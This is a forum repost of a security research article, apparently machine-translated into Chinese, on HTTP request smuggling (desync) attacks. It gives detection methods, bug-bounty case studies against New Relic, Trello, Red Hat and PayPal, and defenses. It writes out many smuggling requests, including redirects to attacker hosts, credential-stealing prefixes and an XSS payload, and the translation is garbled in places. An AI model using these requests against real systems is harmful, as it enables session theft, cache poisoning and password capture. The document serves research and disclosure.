HTTP Desync攻击:请求走私重生 图章 图章 教程 百科

admin 3月前 1277

抽象

传统上,HTTP请求被视为独立的独立实体。在本文中,我将探索被遗忘的未经验证的攻击者的技术,以便粉碎这种隔离并将他们的请求拼接到其他人身上,通过这些技术,我可以通过众多商业和军事系统的网络基础设施来玩木偶操纵者游客,并获得超过$ 7k的bug赏金。

使用这些目标作为案例研究,我将向您展示如何微妙地修改受害者的请求,将他们引导到恶意区域,调用有害的反应,并将凭据引入您的开放式武器。我还将演示如何在您自己的请求中使用后端重组来利用前端的每一小部分信任,获得对内部API的最大权限访问,毒性Web缓存以及危害PayPal的登录页面。

HTTP 请求走私最早是在2005年由Watchfire记录下来的,但是由于网络易受攻击性的增加,多年来人们忽略了一个令人担忧的难度和附带损害声誉。除了新的攻击变体和开发向量之外,我还将帮助您通过自定义开源工具和可靠的黑盒检测,评估和利用以及最小化附带损害风险的精细方法来解决这一遗留问题。

本文附有Black HatDEF CON的HTTP Desync Attacks演示文稿,也可作为可打印的白皮书提供。我们还发布了在线实验室。 

核心概念

自HTTP / 1.1以来,广泛支持通过单个底层TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单 - 只需将HTTP请求背靠背放置,服务器就会解析标头,以确定每个请求的结束位置和下一个开始的位置。这通常与HTTP流水线相混淆,后者是本文所述攻击所不需要的罕见子类型。

就其本身而言,这是无害的。然而,现代网站由系统链组成,所有系统都通过HTTP进行交谈。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接进行路由:

反向代理按预期工作

这意味着,突然之间,后端与每个消息结束的位置的前端一致是至关重要的。否则,攻击者可能会发送一条含糊不清的消息,该消息被后端解释为两个不同的HTTP请求:

去同步反向代理

这使攻击者能够在下一个合法用户请求开始时预先添加任意内容。在本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。

让我们假设前端优先考虑第一个内容长度头部,后端优先考虑第二个内容长度头部。从后端的角度来看,TCP流可能看起来像:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com

在引擎盖下,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这使得后端套接字中毒了橙色数据。当合法的绿色请求到达时,它最终会附加到橙色内容上,从而导致意外响应。

在这个例子中,注入的'G'将破坏绿色用户的请求,他们可能会得到“未知方法GPOST”的响应。

本文中的每次攻击都遵循这种基本格式。Watchfire论文描述了一种被称为“反向请求走私”的替代方法,但这依赖于前端系统和后端系统之间的流水线操作,因此很少有选择。

在现实生活中,双内容长度技术很少有效,因为许多系统明智地拒绝具有多个内容长度标头的请求。相反,我们将使用分块编码来攻击系统 - 这次我们已经获得了RFC 2616规范:

如果收到带有Transfer-Encoding标头字段和Content-Length标头字段的消息,则必须忽略后者。

由于规范隐式允许使用Transfer-Encoding:chunked和Content-Length处理请求,因此很少有服务器拒绝此类请求。每当我们找到一种方法从链中的一个服务器隐藏Transfer-Encoding标头时,它将回退到使用Content-Length,我们可以使整个系统失去同步。

您可能不太熟悉分块编码,因为像Burp Suite这样的工具会自动将分块请求/响应缓冲到常规消息中以便于编辑。在分块消息中,主体由0个或更多个块组成。每个块由块大小组成,后跟换行符(\ r \ n),后跟块内容。消息以大小为0的块结束。这是使用分块编码的简单去同步攻击:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
Host: example.com

我们还没有在这里隐藏Transfer-Encoding标头,所以这个漏洞利用主要适用于前端根本不支持分块编码的系统 - 在许多使用内容交付网络Akamai的网站上看到的行为。

如果它是不支持分块编码的后端,我们需要翻转偏移量:

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
6
PREFIX
0
POST / HTTP/1.1
Host: example.com

这种技术适用于很多系统,但我们可以通过使Transfer-Encoding标头稍微难以发现来利用更多,因此一个系统看不到它。这可以通过服务器的HTTP解析中的差异来实现。以下是一些请求示例,其中只有一些服务器识别Transfer-Encoding:chunked标头。在本研究中,这些中的每一个都已成功用于至少利用一个系统:

Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: xTransfer-Encoding:[tab]chunkedGET / HTTP/1.1
 Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding
 : chunked

如果前端和后端服务器都拥有它,那么每个怪癖都是无害的,否则就是一个主要的威胁。有关更多技术,请查看regilero正在进行的研究。我们将简要介绍一下使用其他技术的实际例子。

方法

请求走私背后的理论是直截了当的,但是不受控制的变量的数量以及我们对前端背后发生的事情完全缺乏可见性会导致并发症。

我已经开发了应对这些挑战的技术和工具,并将它们组合成以下简单的方法,我们可以利用这些方法查找请求走私漏洞并证明其影响:

检测 - 确认 - 探索商店/攻击


检测

检测请求走私漏洞的明显方法是发出一个模糊的请求,然后发出正常的“受害者”请求,然后观察后者是否得到意外的响应。但是,这极易受到干扰; 如果另一个用户的请求在我们的受害者请求之前遇到中毒的套接字,他们将得到损坏的响应,我们将不会发现该漏洞。这意味着在具有大量流量的实时站点上,很难证明请求走私存在而不会在此过程中利用众多真正的用户。即使在没有其他流量的站点上,您也可能会因应用程序级别的怪癖终止连接而导致漏报。

为了解决这个问题,我开发了一种检测策略,该策略使用一系列消息,这些消息使易受攻击的后端系统挂起并使连接超时。这种技术几乎没有误报,抵制应用程序级别的怪癖,否则会导致漏报,最重要的是几乎没有影响其他用户的风险。

假设前端服务器使用Content-Length头,后端使用Transfer-Encoding头。我将此定位称为CL.TE。我们可以通过发送以下请求来检测潜在的请求走私:

 POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q

由于内容长度较短,前端仅转发蓝色文本,后端将在等待下一个块大小时超时。这将导致可观察到的时间延迟。

如果两个服务器同步(TE.TE或CL.CL),请求将被前端拒绝或由两个系统无害地处理。最后,如果desync以相反的方式发生(TE.CL),前端将拒绝该消息,而不会将其转发到后端,这要归功于无效的块大小“Q”。这可以防止后端插座中毒。

我们可以使用以下请求安全地检测TE.CL desync:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X

由于终止'0'块,前端将只转发蓝色文本,后端将超时等待X到达。

如果desync以相反的方式发生(CL.TE),则此方法将使用X毒化后端套接字,可能会损害合法用户。幸运的是,通过首先运行先前的检测方法,我们可以排除这种可能性。

这些请求可以适应目标解析中的任意差异,并且它们用于通过HTTP Request Smuggler自动识别请求走私漏洞- HTTP Request Smuggler是为帮助此类攻击而开发的开源Burp Suite扩展。它们现在也被用在Burp Suite的核心扫描仪中。虽然这是服务器级漏洞,但单个域上的不同端点通常会路由到不同的目标,因此应将此技术单独应用于每个端点。

确认

在这一点上,你已经尽可能地走了,而没有给其他用户带来副作用的风险。然而,如果没有进一步的证据,许多客户将不愿意认真对待报告,这就是我们将要得到的。展示请求走私的全部潜力的下一步是证明后端插座中毒是可能的。为此,我们将发出一个旨在毒化后端套接字的请求,然后发出一个请求,该请求有望成为毒药的受害者,明显改变响应。

如果第一个请求导致错误,后端服务器可能决定关闭连接,丢弃中毒的缓冲区并打破攻击。尝试通过定位旨在接受POST请求的端点并保留任何预期的GET / POST参数来避免这种情况。

有些站点有多个不同的后端系统,前端会查看每个请求的方法,URL和标头,以决定将其路由到何处。如果受害者请求被路由到攻击请求的不同后端,则攻击将失败。因此,“攻击”和“受害者”请求最初应尽可能相似。

如果目标请求如下所示:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
q=smuggling

然后尝试CL.TE套接字中毒看起来像:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: zchunked
11
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…

如果攻击成功,受害者请求(绿色)将得到404响应。

TE.CL攻击看起来很相似,但需要关闭块意味着我们需要自己指定所有头并将受害者请求放在正文中。确保前缀中的Content-Length略大于正文:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com

如果该站点处于活动状态,则其他用户的请求可能会在您的之前遇到中毒的套接字,这将使您的攻击失败并可能使用户感到不安。因此,此过程通常需要几次尝试,而在高流量站点上可能需要数千次尝试。请谨慎行事,克制并尽可能地定位登台服务器。

探索

我将使用一系列真实网站演示其余的方法。像往常一样,我专门针对的公司明确表示他们很乐意通过运行bug赏金计划与安全研究人员合作。由于私人程序的激增和昏昏欲睡的补丁时间,我遗憾地不得不编辑很多。如果网站被明确命名,请记住,他们是现在可以抵御此次攻击的少数网站之一。

现在我们已经确定套接字中毒是可能的,下一步是收集信息,以便我们可以发起一个明智的攻击。

前端经常附加并重写HTTP请求标头,如X-Forwarded-Host和X-Forwarded-For以及许多通常具有难以猜测的名称的自定义标头。我们的走私请求可能会丢失这些标头,这可能会导致意外的应用程序行为和失败的攻击。

幸运的是,有一个简单的策略,我们可以部分解除窗帘并获得对这些隐藏标题的可见性。这使我们可以通过自己手动添加标头来恢复功能,甚至可以启用进一步的攻击。

只需在目标应用程序上找到一个反映POST参数的页面,对参数进行随机播放,使反射的参数最后一次,稍微增加Content-Length,然后走私生成的请求:

POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[email]=asdfPOST /login HTTP/1.1
Host: login.newrelic.com

绿色请求将在登陆[email]参数之前由前端重写,因此当它被反射回来时它将泄漏所有内部标题: 

Please ensure that your email and password are correct.
<input id="email" value="asdfPOST /login HTTP/1.1
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external

通过递增Content-Length标头,您可以逐渐检索更多信息,直到您尝试读取受害者请求的结尾并超时。

有些系统完全依赖于前端系统的安全性,一旦你过去,你就可以直接跳入。在login.newrelic.com上,'后端'系统是代理自己,所以改变走私的Host头允许我访问不同的New Relic系统。最初,我点击的每个内部系统都认为我的请求是通过HTTP发送的,并通过重定向进行响应:

...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/

使用前面观察到的X-Forwarded-Proto标头很容易解决这个问题:

...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught

通过一些内容发现,我在目标上找到了一个有用的端点:

...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:

错误消息清楚地告诉我,我需要一种某种授权标题,但是却未能给它命名。我决定尝试前面看到的'X-nr-external-service'标题:

...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden

不幸的是,这不起作用 - 它导致了我们在尝试直接访问该URL时已经看到的相同的禁止响应。这表明前端正在使用X-nr-external-service标头来表明请求来自互联网,并且通过走私并因此丢失标题,我们不小心欺骗他们的系统认为我们的请求来自内部。这非常有教育意义,但并不直接有用 - 我们仍然需要缺少授权标题的名称。

此时我可以将处理后的请求反射技术应用于一系列端点,直到找到一个具有正确请求标头的端点。相反,我决定欺骗并查阅我上次破坏New Relic时的笔记。这揭示了两个非常有价值的标题 - Server-Gateway-Account-Id和Service-Gateway-Is-Newrelic-Admin。使用这些,我能够获得对其内部API的完全管理员级访问权限:

POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET...
HTTP/1.1 200 OK
{
  "user": {
     "account_id": 934454,
     "is_newrelic_admin": true
  },
  "current_account_id": 934454
  …
}

New Relic部署了一个修补程序,并将根本原因诊断为F5网关的弱点。据我所知,没有可用的补丁,这意味着在撰写本文时这仍然是一个日常的。

利用

直接进入内部API很有用,但它很少是我们唯一的选择。我们可以针对浏览目标网站的每个人发起大量不同的攻击。

要确定哪些攻击可以应用于其他用户,我们需要了解哪些类型的请求可以中毒。从“确认”阶段重复套接字中毒测试,但迭代调整“受害者”请求,直到它类似于典型的GET请求。您可能会发现只能使用某些方法,路径或标头来中断请求。此外,尝试从不同的IP地址发出受害者请求 - 在极少数情况下,您可能会发现您只能中毒来自同一IP的请求。

最后,检查网站是否使用网络缓存; 这些可以帮助绕过许多限制,增加我们对哪些资源中毒的控制,并最终增加请求走私漏洞的严重性。

商店

如果应用程序支持编辑或存储任何类型的文本数据,则开发非常容易。通过为受害者的请求添加精心设计的存储请求作为前缀,我们可以让应用程序保存他们的请求并将其显示给我们 - 然后窃取任何身份验证cookie /标头。以下是使用其配置文件编辑端点定位Trello的示例:

POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com

一旦受害者的请求到达,它将最终保存在我的个人资料中,暴露他们的所有标题和cookie:

使用这种技术的唯一主要问题是你将丢失'&'之后发生的任何数据,这使得很难从表单编码的POST请求中窃取正文。我花了一段时间试图通过使用替代请求编码来解决这个限制并最终放弃,但我仍然怀疑它可能以某种方式。

数据存储机会并不总是如此明显; 在另一个网站上,我能够使用“联系我们”表格,最终触发包含受害者请求的电子邮件,并获得额外的2,500美元。

攻击

能够将任意前缀应用于其他人的响应也开辟了另一种攻击途径:触发有害的响应。

使用有害反应有两种主要方式。最简单的方法是发出“攻击”请求,然后等待别人的请求命中后端套接字并触发有害响应。更棘手但更强大的方法是自己发出“攻击”和“受害者”请求,并希望对受害者请求的有害响应通过Web缓存保存并提供给访问相同URL的任何其他人 - web缓存中毒。

在以下每个请求/响应片段中,黑色文本是对第二个(绿色)请求的响应。对第一个(蓝色)请求的响应被省略,因为它不相关。

升级XSS

在审核SaaS应用程序时,Param Miner发现了一个名为SAML的参数,而Burp的扫描仪确认它很容易反映出XSS。反射的XSS本身很好,但是因为需要用户交互才能大规模利用。

通过请求走私,我们可以将包含XSS的响应提供给随机的人们,主动浏览网站,实现直接的大规模利用。我们还可以访问身份验证标头和仅HTTP的cookie,这可能会让我们转向其他域。

POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200
SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …
HTTP/1.1 200 OK
…
<input name="SAML"   value="a"><script>alert(1)</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>

抓住DOM

在寻找与www.redhat.com上的请求走私链接的漏洞时,我发现了一个基于DOM的开放重定向,它提出了一个有趣的挑战:

GET /assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<script>
var destination = getQueryParam('redir')
[poor filtering]
document.location = destination

页面上的一些JavaScript是从受害者浏览器的查询字符串中读取'redir'参数,但我怎么能控制它呢?请求走私使我们能够控制服务器认为查询字符串是什么,但受害者浏览器对查询字符串的感知就是他们试图访问的任何页面。

我能够通过链接服务器端非开放重定向来解决这个问题:

POST /css/style.css HTTP/1.1
Host: www.redhat.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Transfer-Encoding: chunked

0

POST /search?dest=../assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET /en/solutions HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: ../assets/idx?redir=//redhat.com@evil.net/

受害者浏览器将收到301重定向到https://www.redhat.com/assets/x.html?redir=//redat.com@evil.net/,然后执行基于DOM的开放重定向并转储它们在evil.net上

CDN Chaining

一些网站使用多层反向代理和CDN。这为我们提供了额外的去同步的机会,这种机会一直受到重视,并且通常也会增加严重性。

一个目标是以某种方式使用两层Akamai,尽管服务器由同一供应商提供,但可以使它们去同步,从而在受害者网站上的Akamai网络上的任何地方提供内容:

POST /cow.jpg HTTP/1.1
Host: redacted.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 50 
Transfer-Encoding: chunked 
0 
GET / HTTP/1.1 
Host: www.redhat.com 
X: XGET...
Red Hat - We make open source technologies for the enterprise

相同的概念适用于SaaS提供商; 通过将请求定向到构建在同一平台上的不同系统,我能够利用建立在众所周知的SaaS平台上的关键网站。

'无害'回应

因为请求走私让我们影响对任意请求的响应,所以一些通常无害的行为变得可利用。例如,即使是简单的开放重定向也可用于通过将JavaScript导入重定向到恶意域来危害帐户。

使用307代码的重定向特别有用,因为在发出POST请求后接收307的浏览器会将POST重新发送到新目标。这可能意味着您可以让不知情的受害者直接将明文密码发送到您的网站。

经典的开放重定向本身很常见,但有一种变体在整个网络中流行,因为它源于Apache和IIS中的默认行为。它很方便地被认为是无害的,几乎每个人都忽略了,因为没有伴随的漏洞,如请求走私它确实是无用的。如果您尝试访问没有斜杠的文件夹,服务器将使用重定向响应以使用主机头中的主机名附加斜杠:

POST /etc/libs/xyz.js HTTP/1.1
Host: redacted
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: XGET /etc/libs/xyz.js HTTP/1.1
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/

使用此技术时,请密切关注重定向中使用的协议。您可以使用X-Forwarded-SSL之类的标头来影响它。如果它停留在HTTP上,并且您正在攻击HTTPS站点,受害者的浏览器将因其混合内容保护而阻止连接。有两个已知的例外情况 - 可以完全绕过Internet Explorer的混合内容保护,如果重定向目标位于其HSTS缓存中,Safari将自动升级到HTTPS的连接。

Web缓存中毒

在针对特定网站尝试某些基于重定向的攻击几个小时后,我在浏览器中打开了他们的主页以查找更多攻击面并在开发控制台中发现以下错误:

https://52.16.21.24/ net :: ERR_CERT_COMMON_NAME_INVALID

无论我从哪台机器加载网站,都会发生此错误,并且IP地址看起来非常熟悉。在我的重定向探测期间,在我的受害者请求之前,其他人对图像文件的请求已经滑入,并且缓存保存了中毒的响应。

这是潜在影响的一个很好的证明,但总体上不是一个理想的结果。除了依赖基于超时的检测之外,没有办法完全消除意外缓存中毒的可能性。也就是说,为了将风险降至最低,您可以:

- 确保“受害者”请求具有缓存。
- 使用Turbo Intruder尽快发送“受害者”请求。
- 尝试创建一个前缀,触发带有反缓存标头的响应,或者不太可能缓存的状态代码。
- 瞄准睡着的地理区域的前端。

Web缓存欺骗++

如果不是试图减少攻击者/用户混合响应被缓存的可能性,我们会接受它吗?

我们可以尝试使用受害者的Cookie获取包含敏感信息的响应,而不是使用旨在导致有害响应的前缀:

POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: XGET /static/site.js HTTP/1.1
Cookie: sessionid=xyz

前端视角:

GET /static/site.js HTTP/1.1
HTTP/1.1 200 OK
Your payment history
…

当用户对静态资源的请求命中中毒套接字时,响应将包含其帐户详细信息,缓存将通过静态资源保存这些信息。然后,我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存欺骗攻击的新变种。它在两个关键方面更强大 - 它不需要任何用户交互,也不要求目标站点允许您使用扩展。唯一的问题是攻击者无法确定受害者的反应将落在何处。

PayPal

随着请求走私链接到缓存中毒,我能够持续劫持许多JavaScript文件。其中一个用于PayPal的登录页面:https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js。

POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Content-Length: 61 
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/

但是,存在一个问题 - PayPal的登录页面使用内容安全策略和脚本src来杀死我的重定向。

这最初看起来像是深度防守的胜利。但是,我注意到登录页面在动态生成的iframe中在c.paypal.com上加载了一个子页面。这个子页面没有使用CSP,也导入了我们的中毒JS文件。这使我们可以完全控制iframe的内容,但由于同源策略,我们仍然无法从父页面读取用户的PayPal密码。


我的同事Gareth Heyes随后在paypal.com/us/gifts上发现了一个没有使用CSP的页面,还导入了我们中毒的JS文件。通过使用我们的JS将c.paypal.com iframe重定向到该URL(并且第三次触发我们的JS导入),我们终于可以访问父母并从使用Safari或IE登录的每个人窃取明文PayPal密码。


PayPal通过将Akamai配置为拒绝包含Transfer-Encoding:chunked标头的请求并获得18,900美元的赏金,快速解决了此漏洞。

几周之后,在发明和测试一些新的去同步技术时,我决定尝试使用换行标题:

Transfer-Encoding:
 chunked

这似乎使得Transfer-Encoding标头对Akamai完全不可见,Akamai让它通过并再一次授予我对PayPal登录页面的控制权。PayPal迅速应用了更强大的解决方案,并获得了令人印象深刻的20,000美元。

演示

另一个目标使用了一系列反向代理,其中一个不将'\ n'视为有效的头部终止符。这意味着他们的网络基础设施很容易被要求走私。我已经录制了一个演示,演示了如何使用HTTP Request Smuggler在Bugzilla安装的副本上有效地识别和利用此漏洞,该安装包含一些极其敏感的信息。

防御

像往常一样,安全性伴随着简单性。如果您的网站没有负载均衡器,CDN和反向代理,这种技术不是威胁。您引入的层数越多,您就越容易受到攻击。

每当我讨论攻击技术时,我都会被问到HTTPS是否会阻止它。一如既往,答案是'不'。也就是说,您可以通过将前端服务器配置为专门使用HTTP / 2与后端系统进行通信,或者通过完全禁用后端连接重用来解决此漏洞的所有变体。或者,您可以确保链中的所有服务器都使用相同的配置运行相同的Web服务器软件。

可以通过重新配置前端服务器来规范化模糊请求,然后再将其路由,从而解决此漏洞的特定实例。对于不想让客户容易受到攻击的CDN来说,这可能是唯一现实的解决方案,Cloudflare和Fastly似乎成功地应用了它。

规范化请求不是后端服务器的选项 - 它们需要彻底拒绝不明确的请求,并删除关联的连接。由于拒绝请求更有可能影响合法流量,而不仅仅是规范化它们,我建议重点关注防止通过前端服务器进行请求走私。

当您的工具对您不利时,无法进行有效防御。大多数Web测试工具会在发送请求时自动“更正”Content Length标头,从而无法进行请求走私。在Burp Suite中,您可以使用Repeater菜单禁用此行为 - 确保您选择的工具具有相同的功能。此外,某些公司和bug赏金平台通过像Squid这样的代理来测试他们的测试人员的流量以进行监控。这些将破坏测试人员发起的任何走私攻击请求,确保公司对此漏洞类别的覆盖范围为零。

与大多数类别的Web漏洞不同,即使是有缺陷的请求走私攻击也会产生副作用。这使得现场网站成为任何希望获得请求走私体验的人的不良选择。为了解决这个问题,我们发布了一个免费学习资源,其中包含易受攻击的交互式网站,因此您可以从安全可控的环境开始:

结论

基于多年来一直被忽视的研究,我引入了新的技术来使服务器去同步,并展示了利用众多真实网站作为案例研究来利用结果的新方法。通过这个我已经表明,请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键功能,容忍模糊消息是危险的。我还发布了一种方法和一个开源工具包,以帮助人们审核请求走私,证明影响,并以最小的风险获得赏金。

这个主题仍然没有得到充分研究,因此我希望这本出版物能够在未来几年内激发新的去同步技术和漏洞利用。



少客联盟- 版权声明 1、本主题所有言论和图片纯属会员个人意见,与少客联盟立场无关。
2、本站所有主题由该帖子作者发表,该帖子作者admin少客联盟享有帖子相关版权。
3、少客联盟管理员和版主有权不事先通知发贴者而删除本文。
4、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者admin少客联盟的同意。
5、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
6、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
7、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。
8、官方反馈邮箱:chinasuc@chinasuc.cn


上一篇:KDE 4/5 KDesktopFile命令注入
下一篇:sql注入的小技巧
最新回复 (0)
全部楼主
    • 少客联盟
      2
        登录 注册 QQ登录(停用)
返回
负责声明:本站部分资源来源于网络,如有侵权请发邮件(chinasuc@chinasuc.cn)告知我们,我们将会在24小时内处理。